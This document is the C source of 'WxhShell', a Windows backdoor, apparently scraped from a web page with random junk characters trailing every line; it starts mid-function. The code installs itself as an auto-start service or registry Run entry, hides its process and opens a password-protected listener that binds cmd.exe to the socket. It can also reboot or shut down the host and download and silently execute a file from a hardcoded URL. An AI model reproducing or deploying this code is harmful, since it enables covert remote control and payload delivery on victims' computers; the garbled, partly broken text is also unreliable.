    ExitThread(0); M|#5gKXd  
    } Z)i1?#  
    break; ([CnYv  
    } -f2`qltjb  
  // 关机 0#fG4D_  
  case 'd': { UX'NJ1f  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -0o6*?[Z  
    if(Boot(SHUTDOWN)) 0 ;_wAk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JX/4=..  
    else { _#D\*0J  
    closesocket(wsh); XVDd1#h  
    ExitThread(0); +%qSB9_>N{  
    } QiE<[QP{g  
    break; rK QASRF5*  
    } px }7If  
  // 获取shell U?F^D4CV\  
  case 's': { hY= s9\  
    CmdShell(wsh); JM-ce8U  
    closesocket(wsh); +>:}req  
    ExitThread(0); 27],O@ 2?L  
    break; /1W7<']>xV  
  } n *i'vtQ8  
  // 退出 ow+Dd[i  
  case 'x': { EdAR<VfleA  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3hXmYz(  
    CloseIt(wsh); b;J0'o^G|  
    break; .)@tXH=}+  
    } n*m"L|:ff  
  // 离开 }K/}(zuy1Y  
  case 'q': { TjUZv1(L  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); fAM D2C  
    closesocket(wsh); ,B~lwF9  
    WSACleanup(); rbK#a)7  
    exit(1); _:g GD8  
    break; S $_Y/x  
        } $EQT"ZX>%i  
  } [|[sYo  
  } mfngbFa1  
|J<pLz  
  // 提示信息 ~1=.?Ho  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?z@v3(b[  
} hD$p;LF  
  } S#h'\/S  
(~7m"?  
  return; c BHL,  
} ,%?; \?b%h  
WS1&3mOd  
// shell模块句柄 >'ksXA4b  
int CmdShell(SOCKET sock) Wj4^W<IO  
{ !2Xr~u7a  
STARTUPINFO si; rv,NQZ  
ZeroMemory(&si,sizeof(si)); A3MZxu=':3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; NF/Ti5y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rwL=R,  
PROCESS_INFORMATION ProcessInfo; %jZp9}h  
char cmdline[]="cmd"; MvZ+n  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <84C tv  
  return 0; 5y%un  
} {b|3]_-/  
yE.495  
// 自身启动模式 ^Y{6;FJ  
int StartFromService(void) aYaG]&hb  
{ w>6"Sc7oc2  
typedef struct pHj[O?F  
{ `J>E9p<  
  DWORD ExitStatus; '&-5CpDUs  
  DWORD PebBaseAddress; #QTfT&m+G}  
  DWORD AffinityMask; }fJ:wku  
  DWORD BasePriority; d; mmM\3]  
  ULONG UniqueProcessId; @ ],6SKbG6  
  ULONG InheritedFromUniqueProcessId; :BL'>V   
}   PROCESS_BASIC_INFORMATION; I|KY+k> /  
8h&oSOkQk,  
PROCNTQSIP NtQueryInformationProcess; h v$uH7Fz  
5u;Rr 1D  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !,? <zg  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A6^p}_  
W;Ud<7<;Z  
  HANDLE             hProcess; Qp kKVLi  
  PROCESS_BASIC_INFORMATION pbi; R`@8.]cpPy  
q+A<g(Xu  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Wl& >6./{  
  if(NULL == hInst ) return 0; t7um [  
v8=?HUDd  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); cBz!U 8(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); g08*}0-k  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); qri}=du&F  
Ws-6W!Ib%  
  if (!NtQueryInformationProcess) return 0; @Jb@L  
jlu`lG*e&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (NH8AS<  
  if(!hProcess) return 0; @-'/__cgt  
^M`>YOU2+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; xwTijSj  
`z9)YH  
  CloseHandle(hProcess); 2d-TU_JqX  
T@;! yz}Pf  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Gw ~{V  
if(hProcess==NULL) return 0; Qg'c?[~W@  
|d,F-9iw  
HMODULE hMod; 5f;n<EP y  
char procName[255]; #4vV%S   
unsigned long cbNeeded; `Y\gSUhzS  
q';&SR#"`K  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F&=I7i  
; cGv] A+  
  CloseHandle(hProcess); U91 &|  
k2EHco0BG  
if(strstr(procName,"services")) return 1; // 以服务启动 K :1g"  
oM6j>&$b  
  return 0; // 注册表启动 ^cYStMjpy  
} h&)fu{   
3jvx2  
// 主模块 r5t;'eCe a  
int StartWxhshell(LPSTR lpCmdLine) _*O7l  
{ 3p:=xL  
  SOCKET wsl; Z5((1J9  
BOOL val=TRUE; jCU=+b=  
  int port=0; EkN_8(w  
  struct sockaddr_in door; OENzG~  
Y\.-v\uJu  
  if(wscfg.ws_autoins) Install(); r?fH &u  
h/,R{A2mO  
port=atoi(lpCmdLine); xDR9_  
60xa?8<cg  
if(port<=0) port=wscfg.ws_port; K@B" ]6  
%b=Y <v  
  WSADATA data; `_|aeoK_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L ;6b+I  
hS4.3]ei  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   dZPW2yf  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); x>}B#  
  door.sin_family = AF_INET; )VNM/o%Q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); lc]V\ 'e  
  door.sin_port = htons(port); /+>)"D6'  
H5~1g6b@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^;.T}c%N  
closesocket(wsl); 4w 'lu"U  
return 1; `,+#!)  
} Z;#%t.  
"[k1D_PZ  
  if(listen(wsl,2) == INVALID_SOCKET) { {S G*  
closesocket(wsl); *D2Nm9sl  
return 1; $30oc Tt{  
} W7t >&3l  
  Wxhshell(wsl); |~z3U>  
  WSACleanup(); Odm#wL~E  
! 0^;;'  
return 0; _}D%iJg#  
KE<kj$  
} .Y;b)]@f  
1n_;kaY  
// 以NT服务方式启动 m# JI!_~!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5UE409Gn'  
{ uKv&7p@|_)  
DWORD   status = 0; hi!`9k  
  DWORD   specificError = 0xfffffff; %dc3z"u  
.;9jdGBf  
  serviceStatus.dwServiceType     = SERVICE_WIN32; *.oKI@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; X/l;s  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;+sl7qlA4  
  serviceStatus.dwWin32ExitCode     = 0; xOythvO  
  serviceStatus.dwServiceSpecificExitCode = 0; {3LA%xO  
  serviceStatus.dwCheckPoint       = 0; TXjloGv^  
  serviceStatus.dwWaitHint       = 0; yMb|I~k  
BWh }^3?l  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >L gVj$Z  
  if (hServiceStatusHandle==0) return; xRlYr# %  
B@ {&<  
status = GetLastError(); n#4Gv|{XMD  
  if (status!=NO_ERROR) I.1D*!tz  
{ Y6A;AmM8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; t0q_>T-kt  
    serviceStatus.dwCheckPoint       = 0; C ZJV_0  
    serviceStatus.dwWaitHint       = 0; .oEbEs  
    serviceStatus.dwWin32ExitCode     = status; iRNLKi  
    serviceStatus.dwServiceSpecificExitCode = specificError; `?"6l5d.]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;FU|7L$H  
    return; }k7_'p&yk  
  } YGp)Oy}:  
/;Yy@oc  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; xST4}Mb^f  
  serviceStatus.dwCheckPoint       = 0; rFey4zzz  
  serviceStatus.dwWaitHint       = 0; pLnB)z?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); } #Doy{T  
} v8m`jxII64  
?sXG17~Bm  
// 处理NT服务事件,比如:启动、停止 =\Iu$2r`  
VOID WINAPI NTServiceHandler(DWORD fdwControl) z<B CLP  
{ z}+i=cAN  
switch(fdwControl) ]!Oue_-;  
{ Lu=O+{*8  
case SERVICE_CONTROL_STOP: je%ldY]/@  
  serviceStatus.dwWin32ExitCode = 0; UX2lPgKdLz  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; hJ f2o  
  serviceStatus.dwCheckPoint   = 0; E =AVrv5T  
  serviceStatus.dwWaitHint     = 0; px=]bALU  
  { 2/B)O)#ls  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1oty*c  
  } xzm@ v(  
  return; )6-9)pH@)  
case SERVICE_CONTROL_PAUSE:  w_Uh  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; XN#&NT{t}  
  break; + BL{@,zr  
case SERVICE_CONTROL_CONTINUE: +Rwx% =  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; wfR&li{  
  break; o r2|O#=  
case SERVICE_CONTROL_INTERROGATE: /:Lu_)5   
  break; E7nFb:zlV  
}; _w!a`w*3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;h Hi@Z 9  
} O("Uq../3  
.Q* 'r& n  
// 标准应用程序主函数 gmP9j)V6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 19t{|w<  
{ z)-c#F@%  
W2]TRO  
// 获取操作系统版本 @0NJ{  
OsIsNt=GetOsVer();  |yKud  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  &;c>O  
 )h_8vO2  
  // 从命令行安装 (dqCa[  
  if(strpbrk(lpCmdLine,"iI")) Install(); =-#G8L%Q  
pf&ag#nr  
  // 下载执行文件 nlGHT  
if(wscfg.ws_downexe) { Fky?\ec  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) D-&a n@  
  WinExec(wscfg.ws_filenam,SW_HIDE); RLVAT M5  
} lG:kAtx4  
!L$x:/R9M  
if(!OsIsNt) { ?X9U TOx  
// 如果时win9x,隐藏进程并且设置为注册表启动 4w93}t.z  
HideProc(); Z[?mc|*x  
StartWxhshell(lpCmdLine); e,0-)?5R  
} 3n]79+w@z  
else * F4UAQzYb  
  if(StartFromService()) nP3  E  
  // 以服务方式启动 wTc)S6%7  
  StartServiceCtrlDispatcher(DispatchTable); j:,9%tg  
else O.QK"pKD\  
  // 普通方式启动 [k<1`z3  
  StartWxhshell(lpCmdLine); {tiKH=&J  
[}z,J"Un  
return 0; "_1)CDqP  
} J G$Z.s  
G~,:2 o3  
WsGths+[  
l \OLyQ  
=========================================== KP]"P*? ?  
0~Gle:  
eiVC"0-c}  
A8r^)QJP{  
8LzBh_J?  
u<xo/=Z  
" o\VUD  
(s<s@`  
#include <stdio.h> ;C.S3}  
#include <string.h> i^msjA  
#include <windows.h> ac{?+]8}  
#include <winsock2.h> ?)D^~/ A  
#include <winsvc.h> `G9 l  
#include <urlmon.h> 5GzFoy)j>  
3FE(}G  
#pragma comment (lib, "Ws2_32.lib") soRv1)el  
#pragma comment (lib, "urlmon.lib") yx38g ca  
zeb=8 Dg :  
#define MAX_USER   100 // 最大客户端连接数 tq1CwzRX  
#define BUF_SOCK   200 // sock buffer };L ^w :  
#define KEY_BUFF   255 // 输入 buffer ^h' Sla  
$g0+,ll[6  
#define REBOOT     0   // 重启 ]=pR  
#define SHUTDOWN   1   // 关机 Ifc]K?  
saf&dd  
#define DEF_PORT   5000 // 监听端口 2,q}N q  
\3f& 7wU  
#define REG_LEN     16   // 注册表键长度 ]`g@UtD9`  
#define SVC_LEN     80   // NT服务名长度 &ANP`=  
)kXhtjOl|  
// 从dll定义API  as yZe  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {i0SS  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]:M0Kj&h  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); : rMM4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); MRNNG6TUs  
hj%ye~|~  
// wxhshell配置信息 9;.(u'y|  
struct WSCFG { D\dWt1n  
  int ws_port;         // 监听端口 b;sVls  
  char ws_passstr[REG_LEN]; // 口令 YyAJ m^o  
  int ws_autoins;       // 安装标记, 1=yes 0=no "TyJP[/  
  char ws_regname[REG_LEN]; // 注册表键名 u$#Wv2|mk  
  char ws_svcname[REG_LEN]; // 服务名 q[q?hQ/b  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 RGKYW>$0RR  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 t]jFo  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s#~GH6/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8BOZh6BV  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,l YE  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 'rp }G&m  
b V+(b9  
}; tGvG  
-VxTx^)>  
// default Wxhshell configuration 4fk8*{Y  
struct WSCFG wscfg={DEF_PORT, y;w x?1)  
    "xuhuanlingzhe", e}/Lk5q!  
    1, &s Pq<lo  
    "Wxhshell", Z>c3  
    "Wxhshell", lGwl1,=  
            "WxhShell Service", RqEH| EUZ  
    "Wrsky Windows CmdShell Service", ,mhQ"\+C  
    "Please Input Your Password: ", Qd}m`YW-f$  
  1, )a 9 ]US^  
  "http://www.wrsky.com/wxhshell.exe", >(uZtYM\j  
  "Wxhshell.exe" y&}E~5O  
    }; c\B|KhDk  
X[ q+619  
// 消息定义模块 3vhnwDcK  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "k*PA\U  
char *msg_ws_prompt="\n\r? for help\n\r#>"; g VQjL+_W  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; AjcX  N  
char *msg_ws_ext="\n\rExit."; MYJg8 '[j  
char *msg_ws_end="\n\rQuit."; _v Sn`  
char *msg_ws_boot="\n\rReboot..."; drzL.@h|  
char *msg_ws_poff="\n\rShutdown..."; ?0? R  
char *msg_ws_down="\n\rSave to "; Q_* "SRz  
S5~VD?O,  
char *msg_ws_err="\n\rErr!"; -p3Re9  
char *msg_ws_ok="\n\rOK!"; Bj k]ZU0T  
fVb-$  
char ExeFile[MAX_PATH]; kt`nbm|aw  
int nUser = 0; ];.pK  
HANDLE handles[MAX_USER]; '!l 1=cZD  
int OsIsNt; 4wC+S9I#E^  
l^ZI* z7N  
SERVICE_STATUS       serviceStatus; /VmR<C?h  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; zi`b2h  
rSXh;\MfB4  
// 函数声明 'RRmIx2X  
int Install(void); -~?J+o+Pr"  
int Uninstall(void); :RoBl3X=  
int DownloadFile(char *sURL, SOCKET wsh); y_\p=0t8  
int Boot(int flag); ? A(QyaKz  
void HideProc(void); xX*H7#  
int GetOsVer(void); wP[t0/dl  
int Wxhshell(SOCKET wsl); fP.F`V_Y  
void TalkWithClient(void *cs); XGP6L0j  
int CmdShell(SOCKET sock); 'cY` w  
int StartFromService(void); Y3Vlp/"rB"  
int StartWxhshell(LPSTR lpCmdLine); $)3%U?AP  
O@p]KSfk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 311LC cRp  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); nX$XL=6mJ&  
w"R:\@ F  
// 数据结构和表定义 D8 hr?:I9  
SERVICE_TABLE_ENTRY DispatchTable[] = !rqF}d  
{ /~x "wo  
{wscfg.ws_svcname, NTServiceMain}, ;&1V0U,fx  
{NULL, NULL} f B9;_z  
}; KII *az  
6iCrRjY*  
// 自我安装 K|dso]b/  
int Install(void) PO 6&bIr  
{ m0v:\?S:  
  char svExeFile[MAX_PATH]; y|'SXM  
  HKEY key; }CeCc0M  
  strcpy(svExeFile,ExeFile); LX^u_Iu   
u_ABt?'  
// 如果是win9x系统,修改注册表设为自启动 H54 R8O$  
if(!OsIsNt) { &|/| ''A)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0GJn_@hr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3B1cb[2y  
  RegCloseKey(key); ^^5&QSB:'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8 Y5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]('D^Ro  
  RegCloseKey(key); Mbjvh2z  
  return 0; ) $PDo 7#  
    } FJasS8  
  } *Z|y'<s  
} Ei2'[PK  
else { c%=IL M4  
OKoan$#sn  
// 如果是NT以上系统,安装为系统服务 OE}*2P/M>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); dd]/.Z  
if (schSCManager!=0) lsJnI|  
{ !?|Th5e   
  SC_HANDLE schService = CreateService CiB%B`,N  
  ( ,?L2wl[  
  schSCManager, lbpq_=  
  wscfg.ws_svcname, V0)fZS@tf  
  wscfg.ws_svcdisp, $m42:amM  
  SERVICE_ALL_ACCESS, s8}@=]aA  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #5V9o KM  
  SERVICE_AUTO_START, I'|$}/\`  
  SERVICE_ERROR_NORMAL, g]*#%Xa  
  svExeFile, :_O%/k1\@  
  NULL, ;<leKcvhQ&  
  NULL, vd8{c7g:n  
  NULL, 0}b tXh  
  NULL, ^<e.]F25M  
  NULL rwGKfoKI  
  ); U\Z?taXB  
  if (schService!=0) qHxqQ'ks;  
  { y\ a1iy  
  CloseServiceHandle(schService); '0FhL)x?"T  
  CloseServiceHandle(schSCManager); t+eVR8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @HOBRRm`  
  strcat(svExeFile,wscfg.ws_svcname); 2$Tj84'X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %Ah^E$&n2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y3h/ IpT  
  RegCloseKey(key); -{ H0g]  
  return 0; ;UxP Kpl  
    } ONe# rKJ_  
  } ^k9kJ+x^S2  
  CloseServiceHandle(schSCManager); dH-s2r%s  
} ['T:ea6B  
} kkQVNphc  
}I :OsAw  
return 1; XHK70: i  
} ^/r7@:  
m@^1JlH  
// 自我卸载 DCZ\6WY1G)  
int Uninstall(void) +(h\fm7*-  
{ ?Orxmxc 2  
  HKEY key; t2l S ~l)  
RO.k]x6  
if(!OsIsNt) { Bro9YP4<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g[3)P+  
  RegDeleteValue(key,wscfg.ws_regname); _ A=$oVe  
  RegCloseKey(key); wYmM"60  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /AW=5Ck-#  
  RegDeleteValue(key,wscfg.ws_regname); l?Ya"C`FL  
  RegCloseKey(key); Z /9>  
  return 0; mFi&YpH u3  
  } :3I@(k\PY  
} #Y4=J 6  
} o|$AyS{1  
else { :$n=$C -wp  
#E&80#Z5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {j7uv"|X7  
if (schSCManager!=0) ^pYxKU_O  
{ 4y+< dw  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); yr lf+tl  
  if (schService!=0) Y 1t\iU  
  { Wr( y)D<y}  
  if(DeleteService(schService)!=0) { = 17t- [  
  CloseServiceHandle(schService); D}mjN=Y  
  CloseServiceHandle(schSCManager); "OdXY"G  
  return 0; C<P%CG&;  
  } 2Tagr1L  
  CloseServiceHandle(schService); }&[  
  } i(NdGL#P  
  CloseServiceHandle(schSCManager); fP. 6HF_p_  
} sNLs\4v  
} aXoVy&x=  
jJ5W>Q1mK$  
return 1; K|Di1)7=/  
} oomT)gO 6*  
4B^ZnFJ%m  
// 从指定url下载文件 u4/kR  
int DownloadFile(char *sURL, SOCKET wsh) {o>j6RS\  
{ aL&n[   
  HRESULT hr; o:_Xv.HRZo  
char seps[]= "/"; W`u[h0\c  
char *token; zlEX+=3  
char *file; j!7{|EQFcl  
char myURL[MAX_PATH];  t$De/Uq  
char myFILE[MAX_PATH]; ayfFVTy1d  
&8vCZN^  
strcpy(myURL,sURL); LRNh@g4ei  
  token=strtok(myURL,seps); 9;B0Mq py  
  while(token!=NULL) <x<"n t  
  { ;u>DNG|.  
    file=token; `nZ)>  
  token=strtok(NULL,seps); "t~  
  } u)~C;f)  
Mw;sLsu  
GetCurrentDirectory(MAX_PATH,myFILE); i*@< y/&'  
strcat(myFILE, "\\"); iT%} $Lu~  
strcat(myFILE, file); K5xX)oV  
  send(wsh,myFILE,strlen(myFILE),0); ~1>.A(,=z  
send(wsh,"...",3,0); PEc=\?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ZR(x%ews  
  if(hr==S_OK) ,.}]ut/Tm  
return 0; njWL U!  
else 0Nnsjh  
return 1; 1q,{0s_kp  
lLF-{  
} (aH'h1,G  
9R7 A8  
// 系统电源模块 z}MP)|aH:  
int Boot(int flag) n:{qC{D-qS  
{ 'coV^~qy  
  HANDLE hToken; pLLGus+W  
  TOKEN_PRIVILEGES tkp; Bi @2  
%>g3~yl  
  if(OsIsNt) { `#;e)1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); m>MB7,C;N  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ndi9FD3im  
    tkp.PrivilegeCount = 1; 34Kw!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; a_'2V;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); //s:5S<Z  
if(flag==REBOOT) { !X;1}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) SUU !7Yd|  
  return 0; N _86t  
} H*$jc\ dC  
else { f)^_|8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5 4L\Jx  
  return 0; ]zWon~  
} 4X+ifZO  
  } j,"@?Wt7  
  else { !'cl"\h  
if(flag==REBOOT) { 5'X ]k@m_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Q|D @Yd\  
  return 0; pQtJc*[!  
} #0y)U;dA+w  
else { \cUC9/ b  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) VB, ?Mo}R  
  return 0; 4}eepJOn  
} qa0 yg8,<  
} $ >u*} X9  
Yd#/1!A7u  
return 1; {l/-LZ.  
} 2kIa*#VOJ  
7Z-O_h3;)@  
// win9x进程隐藏模块 Vv.|br`;}  
void HideProc(void) 2C9V|[U,  
{ br":y>=,  
{;:/-0s  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); IHcD*zQ  
  if ( hKernel != NULL ) ~;#Y9>7\\'  
  { b"#WxgaF  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3tZ]4ms}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 98uV6b~g  
    FreeLibrary(hKernel); 2gCX}4^3b  
  } er!DYv  
:[hgxJu+  
return; +/)#( j@  
} S|]X'f  
b-{=s +:  
// 获取操作系统版本 (4dhuT  
int GetOsVer(void) K0 }p i +=  
{ cM$P`{QrM  
  OSVERSIONINFO winfo; 8>WC5%f*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2&^]k`Aj6D  
  GetVersionEx(&winfo); ih P|E,L=L  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) YW60q0:  
  return 1; =Q+= f  
  else /7t>TYip!  
  return 0; ](wvu(y\E  
} Ns7(j-  
xx{PespNt  
// 客户端句柄模块 O4^8jK}  
int Wxhshell(SOCKET wsl) t ]_VG  
{  Pyb Z)5u  
  SOCKET wsh; LRb{hUt=  
  struct sockaddr_in client; TiO"xMX  
  DWORD myID; jN6uT &{T  
~==>pj  
  while(nUser<MAX_USER) @EnuJe  
{ p4-o/8rO  
  int nSize=sizeof(client); ]jmL]Ny^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5`gQ~   
  if(wsh==INVALID_SOCKET) return 1; e0T34x'  
vfE6Ggz  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ZRg;/sX]  
if(handles[nUser]==0) SVB\  
  closesocket(wsh); ~,5gUl?Il  
else R)RG[F#   
  nUser++; }5}.lJ:  
  } =W BTm  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .[3Z1v,  
zY('t!u8  
  return 0; WqXbI4;pJ  
} @]-jl}:]  
/eOzXCSws  
// 关闭 socket Ct=- 4  
void CloseIt(SOCKET wsh) ZGYr$C~  
{ O2f-5Y$@  
closesocket(wsh); ),ma_{$N  
nUser--; f'VX Y-  
ExitThread(0); i-6F:\;  
} qCqFy#Ms\  
|(q9"  
// 客户端请求句柄 1r]Io gI  
void TalkWithClient(void *cs) }Hxd*S  
{ 4bn(zyP  
~R26  
  SOCKET wsh=(SOCKET)cs; p%R  
  char pwd[SVC_LEN]; .[JYj(p  
  char cmd[KEY_BUFF]; <\pfIJr$  
char chr[1]; t<|NLk.  
int i,j; MgNU``  
6Qy@UfB  
  while (nUser < MAX_USER) { pt?q#EfFJ  
UmclTGn  
if(wscfg.ws_passstr) { +i2}/s@JJ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @>)r}b  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^]a#7/]o  
  //ZeroMemory(pwd,KEY_BUFF); :kf`?u  
      i=0; 3 YFU*f,  
  while(i<SVC_LEN) { XAe% m^  
5yiK+-iTs  
  // 设置超时 mM-8+H?~b  
  fd_set FdRead; ktdW`R\+  
  struct timeval TimeOut; @p NNq  
  FD_ZERO(&FdRead); WUsKnf  
  FD_SET(wsh,&FdRead); kT!9`S\  
  TimeOut.tv_sec=8; pFHz"]  
  TimeOut.tv_usec=0; t[oT-r  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ZObhF#Y9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t{WzKy  
O2BDL1o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vc+ARgvH+  
  pwd=chr[0]; 8qEVOZjV&  
  if(chr[0]==0xd || chr[0]==0xa) { vOc 9ZE  
  pwd=0; '_/Bp4i  
  break; mHBnC&-/  
  } T<w5vqFDu  
  i++; qASqscO  
    } uec!RKE  
x\s|n{  
  // 如果是非法用户,关闭 socket m:WyuU<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); , eZ1uBI?  
} Qi LEL  
%d(^d  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .%Ta]!0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y>EzTV  
w`il=ZAC  
while(1) { e*;c(3>(  
ulkJR-""&  
  ZeroMemory(cmd,KEY_BUFF); /U"CO8Da  
)Ib<F 7v  
      // 自动支持客户端 telnet标准   *i- _6s  
  j=0; r;Gi+Ca5  
  while(j<KEY_BUFF) { 7qg{v9|,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]b%Hy  
  cmd[j]=chr[0]; ?$6Y2  
  if(chr[0]==0xa || chr[0]==0xd) { q&/Yg,p\  
  cmd[j]=0; u*tN)f3  
  break; :SGF45>B@  
  } 9lW;Nk*j:  
  j++; Yl#Rib  
    } ae0> W  
RQ'H$r.7g  
  // 下载文件 v%s`~~u%^  
  if(strstr(cmd,"http://")) { (''M{n  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~YRDyQ:%T  
  if(DownloadFile(cmd,wsh)) Mc%Nf$XQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); UF<uU-C"  
  else pSr{>;bN  
